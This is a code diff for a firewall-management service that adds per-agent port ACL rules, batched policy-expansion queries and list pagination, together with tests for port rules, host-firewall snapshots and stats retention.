|
||||
@@ -0,0 +1,22 @@
|
||||
/**
|
||||
* Backwards-compatible list pagination: without limit/offset the response is
|
||||
* the full list (total === items.length); with them, a page plus the total.
|
||||
*/
|
||||
export function applyPagination<T>(
|
||||
items: T[],
|
||||
query: { limit?: string; offset?: string },
|
||||
): { items: T[]; total: number } {
|
||||
const total = items.length
|
||||
const limitRaw = query.limit !== undefined ? Number(query.limit) : NaN
|
||||
const offsetRaw = query.offset !== undefined ? Number(query.offset) : NaN
|
||||
if (!Number.isFinite(limitRaw) && !Number.isFinite(offsetRaw)) {
|
||||
return { items, total }
|
||||
}
|
||||
const limit = Number.isFinite(limitRaw)
|
||||
? Math.max(1, Math.min(1000, Math.floor(limitRaw)))
|
||||
: items.length
|
||||
const offset = Number.isFinite(offsetRaw)
|
||||
? Math.max(0, Math.floor(offsetRaw))
|
||||
: 0
|
||||
return { items: items.slice(offset, offset + limit), total }
|
||||
}
|
||||
@@ -8,7 +8,7 @@ import {
|
||||
} from '@evofw/shared'
|
||||
import { uniqCidrs } from '../uniq.js'
|
||||
|
||||
export const POLICY_APPLY_VERSION = 2 as const
|
||||
export const POLICY_APPLY_VERSION = 3 as const
|
||||
|
||||
export type PolicyChainStep = {
|
||||
setId: string | null
|
||||
@@ -20,6 +20,15 @@ export type PolicyChainStep = {
|
||||
cidrCount: number
|
||||
}
|
||||
|
||||
export type EvaluatedPortRule = {
|
||||
id: string
|
||||
action: 'open' | 'close'
|
||||
protocol: 'tcp' | 'udp'
|
||||
portStart: number
|
||||
portEnd: number
|
||||
srcCidrs: string[]
|
||||
}
|
||||
|
||||
export type EvaluatedPolicy = {
|
||||
generation: number
|
||||
hash: string
|
||||
@@ -29,6 +38,7 @@ export type EvaluatedPolicy = {
|
||||
policyMode: 'blacklist' | 'whitelist'
|
||||
denyCidrs: string[]
|
||||
allowCidrs: string[]
|
||||
portRules: EvaluatedPortRule[]
|
||||
conflictsDropped: number
|
||||
syncIntervalSec: number
|
||||
chain: PolicyChainStep[]
|
||||
@@ -40,16 +50,45 @@ export type EvaluatedPolicy = {
|
||||
cidrsAllow: number
|
||||
overrides: number
|
||||
conflictsDropped: number
|
||||
portRules: number
|
||||
}
|
||||
}
|
||||
|
||||
function expandList(db: Db, listId: string | null | undefined): string[] {
|
||||
if (!listId) return []
|
||||
return repos.listIpListEntries(db, listId).map((e) => e.cidr)
|
||||
/**
|
||||
* Prefetched expansion data: one batched query per kind instead of a query
|
||||
* per rule (this code runs on every agent policy poll, ~60s per agent).
|
||||
*/
|
||||
type ExpansionContext = {
|
||||
entriesByList: Map<string, string[]>
|
||||
resolvedByRule: Map<string, string[]>
|
||||
listNames: Map<string, string>
|
||||
}
|
||||
|
||||
function buildExpansionContext(
|
||||
db: Db,
|
||||
rules: { id: string; listId: string | null; hostname: string | null }[],
|
||||
portRuleRows: { listId: string | null }[],
|
||||
): ExpansionContext {
|
||||
const listIds = [
|
||||
...new Set(
|
||||
[
|
||||
...rules.map((r) => r.listId?.trim() || ''),
|
||||
...portRuleRows.map((r) => r.listId?.trim() || ''),
|
||||
].filter(Boolean),
|
||||
),
|
||||
]
|
||||
const hostnameRuleIds = [
|
||||
...new Set(rules.filter((r) => r.hostname?.trim()).map((r) => r.id)),
|
||||
]
|
||||
return {
|
||||
entriesByList: repos.mapIpListEntriesByListIds(db, listIds),
|
||||
resolvedByRule: repos.mapResolvedCidrsByRuleIds(db, hostnameRuleIds),
|
||||
listNames: repos.mapIpListNames(db, listIds),
|
||||
}
|
||||
}
|
||||
|
||||
function expandRule(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
rule: {
|
||||
cidr: string | null
|
||||
listId: string | null
|
||||
@@ -59,9 +98,10 @@ function expandRule(
|
||||
): string[] {
|
||||
if (rule.cidr?.trim()) return [rule.cidr.trim()]
|
||||
if (rule.hostname?.trim()) {
|
||||
return repos.listResolvedForRule(db, rule.id).map((r) => r.cidr)
|
||||
return ctx.resolvedByRule.get(rule.id) ?? []
|
||||
}
|
||||
return expandList(db, rule.listId)
|
||||
const listId = rule.listId?.trim() || ''
|
||||
return listId ? (ctx.entriesByList.get(listId) ?? []) : []
|
||||
}
|
||||
|
||||
function resolveDefaultAction(agentDefaultAction: string | null | undefined): DefaultAction {
|
||||
@@ -72,7 +112,7 @@ function resolveDefaultAction(agentDefaultAction: string | null | undefined): De
|
||||
}
|
||||
|
||||
function sourceMeta(
|
||||
db: Db,
|
||||
ctx: ExpansionContext,
|
||||
rule: {
|
||||
cidr: string | null
|
||||
listId: string | null
|
||||
@@ -86,10 +126,62 @@ function sourceMeta(
|
||||
return { kind: 'hostname', label: rule.hostname.trim() }
|
||||
}
|
||||
const listId = rule.listId?.trim() || ''
|
||||
const name = listId ? repos.getIpList(db, listId)?.name : null
|
||||
const name = listId ? ctx.listNames.get(listId) : null
|
||||
return { kind: 'list', label: name || listId || 'list' }
|
||||
}
|
||||
|
||||
function expandPortSrcCidrs(
|
||||
ctx: ExpansionContext,
|
||||
row: {
|
||||
srcKind: string
|
||||
srcCidr: string | null
|
||||
listId: string | null
|
||||
},
|
||||
): string[] {
|
||||
if (row.srcKind === 'all') return ['0.0.0.0/0']
|
||||
if (row.srcKind === 'cidr' && row.srcCidr?.trim()) {
|
||||
return [row.srcCidr.trim()]
|
||||
}
|
||||
if (row.srcKind === 'list') {
|
||||
const cidrs = row.listId
|
||||
? (ctx.entriesByList.get(row.listId.trim()) ?? [])
|
||||
: []
|
||||
return cidrs.length ? uniqCidrs(cidrs) : []
|
||||
}
|
||||
return []
|
||||
}
|
||||
|
||||
function expandPortRules(
|
||||
ctx: ExpansionContext,
|
||||
rows: ReturnType<typeof repos.listEnabledAgentPortRules>,
|
||||
): EvaluatedPortRule[] {
|
||||
const out: EvaluatedPortRule[] = []
|
||||
for (const row of rows) {
|
||||
const action = row.action === 'close' ? 'close' : 'open'
|
||||
const srcCidrs = expandPortSrcCidrs(ctx, row)
|
||||
if (!srcCidrs.length) continue
|
||||
const portStart = Math.max(1, Math.min(65535, row.portStart))
|
||||
const portEnd = Math.max(portStart, Math.min(65535, row.portEnd))
|
||||
const protocols: Array<'tcp' | 'udp'> =
|
||||
row.protocol === 'udp'
|
||||
? ['udp']
|
||||
: row.protocol === 'both'
|
||||
? ['tcp', 'udp']
|
||||
: ['tcp']
|
||||
for (const protocol of protocols) {
|
||||
out.push({
|
||||
id: row.id,
|
||||
action,
|
||||
protocol,
|
||||
portStart,
|
||||
portEnd,
|
||||
srcCidrs,
|
||||
})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
/** Evaluate allow/deny sets for an agent from assigned policy sets. */
|
||||
export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
const agent = repos.getAgent(db, agentId)
|
||||
@@ -102,6 +194,8 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
.filter((s) => s.enabled === 1)
|
||||
const ordered = repos.listPolicyRulesForAgent(db, agentId)
|
||||
const overrides = repos.listOverrides(db, agentId)
|
||||
const portRuleRows = repos.listEnabledAgentPortRules(db, agentId)
|
||||
const ctx = buildExpansionContext(db, ordered, portRuleRows)
|
||||
|
||||
const deny: string[] = []
|
||||
const allow: string[] = []
|
||||
@@ -110,7 +204,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
let rulesAllow = 0
|
||||
|
||||
for (const rule of ordered) {
|
||||
const cidrs = expandRule(db, rule)
|
||||
const cidrs = expandRule(ctx, rule)
|
||||
const action = rule.action === 'deny' ? 'deny' : 'allow'
|
||||
if (action === 'deny') {
|
||||
deny.push(...cidrs)
|
||||
@@ -119,7 +213,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
allow.push(...cidrs)
|
||||
rulesAllow += 1
|
||||
}
|
||||
const src = sourceMeta(db, rule)
|
||||
const src = sourceMeta(ctx, rule)
|
||||
const setName =
|
||||
assignedSets.find((s) => s.setId === rule.setId)?.name ?? null
|
||||
chain.push({
|
||||
@@ -155,6 +249,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
const conflictsDropped = allowRaw.length - allowCidrs.length
|
||||
const defaultAction = resolveDefaultAction(agent.defaultAction)
|
||||
const policyMode = legacyModeFromDefaultAction(defaultAction)
|
||||
const portRules = expandPortRules(ctx, portRuleRows)
|
||||
|
||||
const payload = JSON.stringify({
|
||||
apply_version: POLICY_APPLY_VERSION,
|
||||
@@ -162,6 +257,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
defaultAction,
|
||||
denyCidrs,
|
||||
allowCidrs,
|
||||
portRules,
|
||||
})
|
||||
const hash = `sha256:${createHash('sha256').update(payload).digest('hex')}`
|
||||
|
||||
@@ -176,6 +272,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
policyMode,
|
||||
denyCidrs,
|
||||
allowCidrs,
|
||||
portRules,
|
||||
conflictsDropped,
|
||||
syncIntervalSec,
|
||||
chain,
|
||||
@@ -187,6 +284,7 @@ export function evaluateAgentPolicy(db: Db, agentId: string): EvaluatedPolicy {
|
||||
cidrsAllow: allowCidrs.length,
|
||||
overrides: overrides.length,
|
||||
conflictsDropped,
|
||||
portRules: portRules.length,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,6 +16,7 @@ function basePolicy(
|
||||
policyMode: 'blacklist',
|
||||
denyCidrs: ['1.2.3.0/24', '2001:db8::/32', '10.0.0.1/32'],
|
||||
allowCidrs: ['8.8.8.8/32', 'fe80::1/128'],
|
||||
portRules: [],
|
||||
conflictsDropped: 0,
|
||||
syncIntervalSec: 60,
|
||||
chain: [],
|
||||
@@ -27,6 +28,7 @@ function basePolicy(
|
||||
cidrsAllow: 1,
|
||||
overrides: 0,
|
||||
conflictsDropped: 0,
|
||||
portRules: 0,
|
||||
},
|
||||
...patch,
|
||||
}
|
||||
@@ -36,7 +38,7 @@ describe('renderMikrotikPolicyRsc', () => {
|
||||
it('renders accept default: lists + default-drop disabled', () => {
|
||||
const rsc = renderMikrotikPolicyRsc(basePolicy())
|
||||
expect(rsc).toContain(
|
||||
'# evofw hash=sha256:abc default_action=accept apply_version=2 gen=3',
|
||||
`# evofw hash=sha256:abc default_action=accept apply_version=${POLICY_APPLY_VERSION} gen=3`,
|
||||
)
|
||||
expect(rsc).toContain('list=EVOFW_DENY')
|
||||
expect(rsc).toContain('list=EVOFW_ALLOW')
|
||||
|
||||
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function createAgent(
|
||||
@@ -100,7 +104,7 @@ describe('classic policy default_action', () => {
|
||||
chain: unknown[]
|
||||
}
|
||||
expect(body.default_action).toBe('drop')
|
||||
expect(body.apply_version).toBe(2)
|
||||
expect(body.apply_version).toBe(3)
|
||||
expect(body.deny_cidrs).toContain('10.0.0.1/32')
|
||||
expect(body.allow_cidrs).not.toContain('10.0.0.1/32')
|
||||
expect(body.allow_cidrs).toContain('10.0.0.2/32')
|
||||
|
||||
@@ -0,0 +1,419 @@
|
||||
import { describe, it, expect, afterAll } from 'vitest'
|
||||
import { buildApp } from '../app.js'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
const testConfig: AppConfig = {
|
||||
databaseUrl: 'sqlite::memory:',
|
||||
jwtSecret: 'test',
|
||||
jwtTtlHours: 24,
|
||||
serverPort: 8080,
|
||||
staticDir: null,
|
||||
logLevel: 'error',
|
||||
authRequired: false,
|
||||
authIssuer: 'https://auth.test',
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
async function enrollApprovedLinux(
|
||||
app: Awaited<ReturnType<typeof buildApp>>,
|
||||
name: string,
|
||||
token: string,
|
||||
) {
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name, platform: 'linux' },
|
||||
})
|
||||
expect(created.statusCode).toBe(201)
|
||||
const link = created.json() as { id: string; agent_id: string }
|
||||
|
||||
const enroll = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/enroll',
|
||||
headers: {
|
||||
'content-type': 'application/json',
|
||||
'x-evofw-seed': 'test-seed',
|
||||
},
|
||||
payload: {
|
||||
name,
|
||||
platform: 'linux',
|
||||
token,
|
||||
install_link_id: link.id,
|
||||
},
|
||||
})
|
||||
expect(enroll.statusCode).toBe(201)
|
||||
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${link.agent_id}/approve`,
|
||||
})
|
||||
|
||||
return { agentId: link.agent_id, token }
|
||||
}
|
||||
|
||||
describe('port ACL + host firewall snapshot', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('CRUD port-rules bumps generation and expands in policy', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const { agentId, token } = await enrollApprovedLinux(
|
||||
app,
|
||||
'port-acl-01',
|
||||
'evofw_port_acl_token_abcdefghij',
|
||||
)
|
||||
|
||||
const before = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}`,
|
||||
})
|
||||
const genBefore = (before.json() as { policy_generation: number })
|
||||
.policy_generation
|
||||
|
||||
const create = await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${agentId}/port-rules`,
|
||||
payload: {
|
||||
action: 'open',
|
||||
protocol: 'tcp',
|
||||
port_start: 443,
|
||||
src_kind: 'cidr',
|
||||
src_cidr: '10.0.0.0/8',
|
||||
},
|
||||
})
|
||||
expect(create.statusCode).toBe(200)
|
||||
const rule = create.json() as { id: string; action: string; port_start: number }
|
||||
expect(rule.action).toBe('open')
|
||||
expect(rule.port_start).toBe(443)
|
||||
|
||||
const after = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}`,
|
||||
})
|
||||
expect(
|
||||
(after.json() as { policy_generation: number }).policy_generation,
|
||||
).toBe(genBefore + 1)
|
||||
|
||||
const list = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/port-rules`,
|
||||
})
|
||||
expect(list.statusCode).toBe(200)
|
||||
expect((list.json() as { items: unknown[] }).items).toHaveLength(1)
|
||||
|
||||
const policy = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/v1/agent/policy',
|
||||
headers: { authorization: `Bearer ${token}` },
|
||||
})
|
||||
expect(policy.statusCode).toBe(200)
|
||||
const body = policy.json() as {
|
||||
apply_version: number
|
||||
port_rules: {
|
||||
action: string
|
||||
protocol: string
|
||||
port_start: number
|
||||
src_cidrs: string[]
|
||||
}[]
|
||||
}
|
||||
expect(body.apply_version).toBe(3)
|
||||
expect(body.port_rules).toHaveLength(1)
|
||||
expect(body.port_rules[0]?.src_cidrs).toEqual(['10.0.0.0/8'])
|
||||
expect(body.port_rules[0]?.protocol).toBe('tcp')
|
||||
|
||||
const patch = await app.inject({
|
||||
method: 'PATCH',
|
||||
url: `/api/v1/agents/${agentId}/port-rules/${rule.id}`,
|
||||
payload: { enabled: false },
|
||||
})
|
||||
expect(patch.statusCode).toBe(200)
|
||||
expect((patch.json() as { enabled: boolean }).enabled).toBe(false)
|
||||
|
||||
const policyOff = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/v1/agent/policy',
|
||||
headers: { authorization: `Bearer ${token}` },
|
||||
})
|
||||
expect(
|
||||
(policyOff.json() as { port_rules: unknown[] }).port_rules,
|
||||
).toHaveLength(0)
|
||||
|
||||
const del = await app.inject({
|
||||
method: 'DELETE',
|
||||
url: `/api/v1/agents/${agentId}/port-rules/${rule.id}`,
|
||||
})
|
||||
expect(del.statusCode).toBe(200)
|
||||
})
|
||||
|
||||
it('imports port-rules from IP list', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const { agentId } = await enrollApprovedLinux(
|
||||
app,
|
||||
'port-acl-import',
|
||||
'evofw_port_import_token_abcdefgh',
|
||||
)
|
||||
|
||||
const listRes = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: {
|
||||
name: 'port-src-list',
|
||||
type: 'static',
|
||||
entries: ['203.0.113.0/24'],
|
||||
},
|
||||
})
|
||||
expect(listRes.statusCode).toBe(200)
|
||||
const listId = (listRes.json() as { id: string }).id
|
||||
|
||||
const before = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}`,
|
||||
})
|
||||
const genBefore = (before.json() as { policy_generation: number })
|
||||
.policy_generation
|
||||
|
||||
const imp = await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${agentId}/port-rules/import`,
|
||||
payload: {
|
||||
from: 'list',
|
||||
list_id: listId,
|
||||
action: 'close',
|
||||
protocol: 'both',
|
||||
ports: [{ port_start: 22 }, { port_start: 80, port_end: 81 }],
|
||||
},
|
||||
})
|
||||
expect(imp.statusCode).toBe(200)
|
||||
const items = (imp.json() as { items: { src_kind: string; list_id: string }[] })
|
||||
.items
|
||||
expect(items).toHaveLength(2)
|
||||
expect(items.every((i) => i.src_kind === 'list' && i.list_id === listId)).toBe(
|
||||
true,
|
||||
)
|
||||
|
||||
const after = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}`,
|
||||
})
|
||||
expect(
|
||||
(after.json() as { policy_generation: number }).policy_generation,
|
||||
).toBe(genBefore + 1)
|
||||
})
|
||||
|
||||
it('upserts host_firewall snapshot from apply-report', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const { agentId, token } = await enrollApprovedLinux(
|
||||
app,
|
||||
'host-fw-snap',
|
||||
'evofw_host_fw_token_abcdefghij',
|
||||
)
|
||||
|
||||
const report = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
kernel_method: 'nft',
|
||||
host_firewall: {
|
||||
rules: [
|
||||
{
|
||||
ownership: 'evofw',
|
||||
backend: 'nft',
|
||||
table: 'evofw',
|
||||
chain: 'input',
|
||||
action: 'drop',
|
||||
protocol: 'tcp',
|
||||
dport: '22',
|
||||
raw: 'tcp dport 22 drop comment "evofw-port-x"',
|
||||
},
|
||||
{
|
||||
ownership: 'foreign',
|
||||
backend: 'iptables',
|
||||
chain: 'INPUT',
|
||||
action: 'ACCEPT',
|
||||
// Agent historically sent JSON null for missing fields — must accept.
|
||||
protocol: null,
|
||||
dport: null,
|
||||
saddr: null,
|
||||
raw: '-A INPUT -p tcp --dport 80 -j ACCEPT',
|
||||
},
|
||||
],
|
||||
listeners: [
|
||||
{ protocol: 'tcp', port: 22, address: '0.0.0.0' },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(report.statusCode).toBe(200)
|
||||
|
||||
const snap = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/host-firewall`,
|
||||
})
|
||||
expect(snap.statusCode).toBe(200)
|
||||
const body = snap.json() as {
|
||||
collected_at: string | null
|
||||
rules: { ownership: string }[]
|
||||
listeners: { port: number }[]
|
||||
}
|
||||
expect(body.collected_at).toBeTruthy()
|
||||
expect(body.rules).toHaveLength(2)
|
||||
expect(body.rules.some((r) => r.ownership === 'evofw')).toBe(true)
|
||||
expect(body.listeners[0]?.port).toBe(22)
|
||||
})
|
||||
|
||||
it('does not wipe host_firewall snapshot with empty apply-report payload', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const { agentId, token } = await enrollApprovedLinux(
|
||||
app,
|
||||
'host-fw-empty',
|
||||
'evofw_host_fw_empty_token_ab',
|
||||
)
|
||||
|
||||
const filled = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
host_firewall: {
|
||||
rules: [
|
||||
{
|
||||
ownership: 'evofw',
|
||||
backend: 'nft',
|
||||
action: 'drop',
|
||||
raw: 'ip saddr @deny_v4 drop',
|
||||
},
|
||||
],
|
||||
listeners: [{ protocol: 'tcp', port: 22, address: '0.0.0.0' }],
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(filled.statusCode).toBe(200)
|
||||
|
||||
const empty = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
host_firewall: { rules: [], listeners: [] },
|
||||
},
|
||||
})
|
||||
expect(empty.statusCode).toBe(200)
|
||||
|
||||
const snap = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/host-firewall`,
|
||||
})
|
||||
const body = snap.json() as {
|
||||
rules: unknown[]
|
||||
listeners: unknown[]
|
||||
}
|
||||
expect(body.rules).toHaveLength(1)
|
||||
expect(body.listeners).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('filters invalid host_firewall rules without failing apply-report', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const { agentId, token } = await enrollApprovedLinux(
|
||||
app,
|
||||
'host-fw-filter',
|
||||
'evofw_host_fw_filter_token_a',
|
||||
)
|
||||
|
||||
const report = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/v1/agent/apply-report',
|
||||
headers: {
|
||||
authorization: `Bearer ${token}`,
|
||||
'content-type': 'application/json',
|
||||
},
|
||||
payload: {
|
||||
status: 'ok',
|
||||
host_firewall: {
|
||||
rules: [
|
||||
{ ownership: 'evofw', backend: 'nft', raw: 'ok rule' },
|
||||
{ ownership: 'nope', backend: 'nft', raw: 'bad ownership' },
|
||||
{ not: 'a rule' },
|
||||
],
|
||||
listeners: [
|
||||
{ protocol: 'tcp', port: 443, address: '::' },
|
||||
{ protocol: 'tcp', port: 99999, address: '1.1.1.1' },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
expect(report.statusCode).toBe(200)
|
||||
|
||||
const snap = await app.inject({
|
||||
method: 'GET',
|
||||
url: `/api/v1/agents/${agentId}/host-firewall`,
|
||||
})
|
||||
const body = snap.json() as {
|
||||
rules: unknown[]
|
||||
listeners: { port: number }[]
|
||||
}
|
||||
expect(body.rules).toHaveLength(1)
|
||||
expect(body.listeners).toHaveLength(1)
|
||||
expect(body.listeners[0]?.port).toBe(443)
|
||||
})
|
||||
|
||||
it('rejects port ACL on non-linux agents', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'mt-no-acl', platform: 'mikrotik' },
|
||||
})
|
||||
const agentId = (created.json() as { agent_id: string }).agent_id
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${agentId}/approve`,
|
||||
})
|
||||
|
||||
const create = await app.inject({
|
||||
method: 'POST',
|
||||
url: `/api/v1/agents/${agentId}/port-rules`,
|
||||
payload: {
|
||||
action: 'open',
|
||||
protocol: 'tcp',
|
||||
port_start: 443,
|
||||
src_kind: 'all',
|
||||
},
|
||||
})
|
||||
expect(create.statusCode).toBe(400)
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,102 @@
|
||||
import { describe, it, expect, afterAll } from 'vitest'
|
||||
import { buildApp } from '../app.js'
|
||||
import { repos } from '@evofw/db'
|
||||
import type { AppConfig } from '../config.js'
|
||||
|
||||
const testConfig: AppConfig = {
|
||||
databaseUrl: 'sqlite::memory:',
|
||||
jwtSecret: 'test',
|
||||
jwtTtlHours: 24,
|
||||
serverPort: 8080,
|
||||
staticDir: null,
|
||||
logLevel: 'error',
|
||||
authRequired: false,
|
||||
authIssuer: 'https://auth.test',
|
||||
authPortalUrl: 'http://localhost:5175',
|
||||
publicBaseUrl: 'https://fw.example.com',
|
||||
enrollSeed: 'test-seed',
|
||||
corsOrigins: [],
|
||||
authAuditIngestSecret: null,
|
||||
secretKey: null,
|
||||
statsRetentionDays: 30,
|
||||
}
|
||||
|
||||
describe('stats retention + list pagination', () => {
|
||||
const appPromise = buildApp({ memory: true, config: testConfig })
|
||||
|
||||
afterAll(async () => {
|
||||
const app = await appPromise
|
||||
await app.close()
|
||||
})
|
||||
|
||||
it('deleteStatsSamplesBefore drops only old samples', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
const created = await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name: 'retention-agent', platform: 'linux' },
|
||||
})
|
||||
const agentId = (created.json() as { agent_id: string }).agent_id
|
||||
const iso = (daysAgo: number) =>
|
||||
new Date(Date.now() - daysAgo * 86_400_000).toISOString()
|
||||
for (const daysAgo of [60, 45, 10, 0]) {
|
||||
repos.insertStatsSample(app.db, {
|
||||
id: crypto.randomUUID(),
|
||||
agentId,
|
||||
packetsDropped: daysAgo,
|
||||
packetsAccepted: 0,
|
||||
prefixCount: 0,
|
||||
kernelMethod: null,
|
||||
recordedAt: iso(daysAgo),
|
||||
})
|
||||
}
|
||||
|
||||
const cutoff = new Date(Date.now() - 30 * 86_400_000).toISOString()
|
||||
const deleted = repos.deleteStatsSamplesBefore(app.db, cutoff)
|
||||
expect(deleted).toBe(2)
|
||||
|
||||
const remaining = repos.listStatsSamples(app.db, agentId, 100)
|
||||
expect(remaining.map((s) => s.packetsDropped).sort()).toEqual([0, 10])
|
||||
})
|
||||
|
||||
it('list endpoints return total and honor limit/offset', async () => {
|
||||
const app = await appPromise
|
||||
await app.ready()
|
||||
|
||||
for (const name of ['page-a', 'page-b', 'page-c']) {
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/install-links',
|
||||
payload: { name, platform: 'linux' },
|
||||
})
|
||||
}
|
||||
await app.inject({
|
||||
method: 'POST',
|
||||
url: '/api/v1/lists',
|
||||
payload: { name: 'page-list', type: 'static' },
|
||||
})
|
||||
|
||||
const all = await app.inject({ method: 'GET', url: '/api/v1/agents' })
|
||||
expect(all.statusCode).toBe(200)
|
||||
const allBody = all.json() as { items: unknown[]; total: number }
|
||||
expect(allBody.items.length).toBe(allBody.total)
|
||||
|
||||
const page = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/api/v1/agents?limit=1&offset=1',
|
||||
})
|
||||
const pageBody = page.json() as { items: unknown[]; total: number }
|
||||
expect(pageBody.items).toHaveLength(1)
|
||||
expect(pageBody.total).toBe(allBody.total)
|
||||
|
||||
const lists = await app.inject({
|
||||
method: 'GET',
|
||||
url: '/api/v1/lists?limit=1',
|
||||
})
|
||||
const listsBody = lists.json() as { items: unknown[]; total: number }
|
||||
expect(listsBody.items).toHaveLength(1)
|
||||
expect(listsBody.total).toBeGreaterThanOrEqual(1)
|
||||
})
|
||||
})
|
||||
@@ -67,6 +67,21 @@ export function mapPolicySets(
|
||||
export function mapPolicyRule(
|
||||
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
) {
|
||||
return mapPolicyRuleWithCounts(r, r.hostname ? countResolved(db, [r.id]).get(r.id) ?? 0 : undefined)
|
||||
}
|
||||
|
||||
function countResolved(
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
ruleIds: string[],
|
||||
): Map<string, number> {
|
||||
const cidrs = repos.mapResolvedCidrsByRuleIds(db, ruleIds)
|
||||
return new Map([...cidrs].map(([id, list]) => [id, list.length]))
|
||||
}
|
||||
|
||||
function mapPolicyRuleWithCounts(
|
||||
r: NonNullable<ReturnType<typeof repos.getPolicyRule>>,
|
||||
resolvedCount: number | undefined,
|
||||
) {
|
||||
return {
|
||||
id: r.id,
|
||||
@@ -77,11 +92,23 @@ export function mapPolicyRule(
|
||||
list_id: r.listId,
|
||||
cidr: r.cidr,
|
||||
hostname: r.hostname,
|
||||
resolved_count: r.hostname
|
||||
? repos.listResolvedForRule(db, r.id).length
|
||||
: undefined,
|
||||
resolved_count: resolvedCount,
|
||||
comment: r.comment,
|
||||
created_at: r.createdAt,
|
||||
updated_at: r.updatedAt,
|
||||
}
|
||||
}
|
||||
|
||||
/** Batched variant for list endpoints: one resolved-counts query for all rules. */
|
||||
export function mapPolicyRules(
|
||||
rules: NonNullable<ReturnType<typeof repos.getPolicyRule>>[],
|
||||
db: Parameters<typeof repos.listResolvedForRule>[0],
|
||||
) {
|
||||
const counts = countResolved(
|
||||
db,
|
||||
rules.filter((r) => r.hostname).map((r) => r.id),
|
||||
)
|
||||
return rules.map((r) =>
|
||||
mapPolicyRuleWithCounts(r, r.hostname ? counts.get(r.id) ?? 0 : undefined),
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
